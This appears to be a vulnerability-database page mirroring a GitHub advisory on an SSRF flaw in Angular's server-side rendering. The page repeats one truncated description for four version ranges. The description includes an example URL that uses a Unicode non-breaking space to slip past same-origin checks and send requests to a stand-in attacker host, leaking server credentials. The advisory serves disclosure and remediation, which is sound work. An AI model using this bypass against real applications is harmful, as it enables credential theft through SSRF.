vulnerability / NVI-00015346 / Revision 1
Angular: SSRF and Cross-Origin Credential Disclosure via URL Resolution Discrepancy in SSR
GitHub lists this reviewed advisory for @angular/platform-server, @angular/platform-server, @angular/platform-server, @angular/platform-server. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.
This report has not inspected your inventory, configuration, deployed build, reachability or evidence. A catalog listing and a severity score do not establish exposure or compromise.
01 / Meaning
Why it matters
Published affected context helps an owner decide what evidence to gather. This report has not examined your application.
02 / Applicability
The affected context
Affected versions, configuration prerequisites and known exclusions are public. Confirm each one against the deployed service.
@angular/platform-server
source listed>= 22.0.0, < 22.1.4
### Summary A discrepancy between WHATWG URL parsing and Angular SSR's URL resolution allows attackers to bypass same-origin checks and cause Server-Side Request Forgery (SSRF), potentially leaking sensitive server-side credentials. ### Technical Description When applications validate incoming URLs using the WHATWG URL standard (`new URL(input, trustedOrigin)`), Unicode whitespace characters (such as NO-BREAK SPACE `U+00A0` or ZERO WIDTH NO-BREAK SPACE `U+FEFF`) are not stripped and are evaluated as part of a same-origin relative path (e.g. `http://trusted-origin/%C2%A0//attacker.example/collect`). Consequently, these URLs successfully pass application-level same-origin checks. However, `@angular/platform-server`'s URL resolution utility (`resolveUrl` / `parseUrl`) previously executed `String.prototype.trim()`. Because JavaScript's `String.prototype.trim()` strips all Unicode whitespace (including `U+00A0`), the leading non-breaking space was removed, converting the string into a cross-origin protocol-relative URL (`//attacker.example/collect`). When resolved during server-side rendering (such as in `relativeUrlsTransformerInterceptorFn`), this caused the HTTP request to be dispa
@angular/platform-server
source listed>= 21.0.0, < 21.2.22
### Summary A discrepancy between WHATWG URL parsing and Angular SSR's URL resolution allows attackers to bypass same-origin checks and cause Server-Side Request Forgery (SSRF), potentially leaking sensitive server-side credentials. ### Technical Description When applications validate incoming URLs using the WHATWG URL standard (`new URL(input, trustedOrigin)`), Unicode whitespace characters (such as NO-BREAK SPACE `U+00A0` or ZERO WIDTH NO-BREAK SPACE `U+FEFF`) are not stripped and are evaluated as part of a same-origin relative path (e.g. `http://trusted-origin/%C2%A0//attacker.example/collect`). Consequently, these URLs successfully pass application-level same-origin checks. However, `@angular/platform-server`'s URL resolution utility (`resolveUrl` / `parseUrl`) previously executed `String.prototype.trim()`. Because JavaScript's `String.prototype.trim()` strips all Unicode whitespace (including `U+00A0`), the leading non-breaking space was removed, converting the string into a cross-origin protocol-relative URL (`//attacker.example/collect`). When resolved during server-side rendering (such as in `relativeUrlsTransformerInterceptorFn`), this caused the HTTP request to be dispa
@angular/platform-server
source listed>= 20.0.0, < 20.3.30
### Summary A discrepancy between WHATWG URL parsing and Angular SSR's URL resolution allows attackers to bypass same-origin checks and cause Server-Side Request Forgery (SSRF), potentially leaking sensitive server-side credentials. ### Technical Description When applications validate incoming URLs using the WHATWG URL standard (`new URL(input, trustedOrigin)`), Unicode whitespace characters (such as NO-BREAK SPACE `U+00A0` or ZERO WIDTH NO-BREAK SPACE `U+FEFF`) are not stripped and are evaluated as part of a same-origin relative path (e.g. `http://trusted-origin/%C2%A0//attacker.example/collect`). Consequently, these URLs successfully pass application-level same-origin checks. However, `@angular/platform-server`'s URL resolution utility (`resolveUrl` / `parseUrl`) previously executed `String.prototype.trim()`. Because JavaScript's `String.prototype.trim()` strips all Unicode whitespace (including `U+00A0`), the leading non-breaking space was removed, converting the string into a cross-origin protocol-relative URL (`//attacker.example/collect`). When resolved during server-side rendering (such as in `relativeUrlsTransformerInterceptorFn`), this caused the HTTP request to be dispa
@angular/platform-server
source listed<= 19.2.25
### Summary A discrepancy between WHATWG URL parsing and Angular SSR's URL resolution allows attackers to bypass same-origin checks and cause Server-Side Request Forgery (SSRF), potentially leaking sensitive server-side credentials. ### Technical Description When applications validate incoming URLs using the WHATWG URL standard (`new URL(input, trustedOrigin)`), Unicode whitespace characters (such as NO-BREAK SPACE `U+00A0` or ZERO WIDTH NO-BREAK SPACE `U+FEFF`) are not stripped and are evaluated as part of a same-origin relative path (e.g. `http://trusted-origin/%C2%A0//attacker.example/collect`). Consequently, these URLs successfully pass application-level same-origin checks. However, `@angular/platform-server`'s URL resolution utility (`resolveUrl` / `parseUrl`) previously executed `String.prototype.trim()`. Because JavaScript's `String.prototype.trim()` strips all Unicode whitespace (including `U+00A0`), the leading non-breaking space was removed, converting the string into a cross-origin protocol-relative URL (`//attacker.example/collect`). When resolved during server-side rendering (such as in `relativeUrlsTransformerInterceptorFn`), this caused the HTTP request to be dispa
03 / Response
What to do next
- investigate
Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.
Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system. GitHub Advisory Database
A fixed release is not deployment evidence.
Check current vendor support and compatibility. After making a change, verify the deployed build and relevant runtime conditions. Keep the evidence, owner and time. An updated lockfile alone does not prove what is running.
04 / Limits
What this report cannot establish
- Customer inventory, deployment, reachability and exploitation have not been inspected.
05 / Provenance
Sources you can inspect
Each assertion retains its source. Mirrored records may repeat one underlying publisher; additional links are not independent corroboration.
- GHSA-f6mr-pjwc-34m4 ↗
GitHub Advisory Database · vendor advisory
Observed . GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.
Public revision history
Only published revisions appear here. Routine fetches do not create a material-change event.
- Revision 1 ·
First indexed by Null; source disclosure date is shown separately.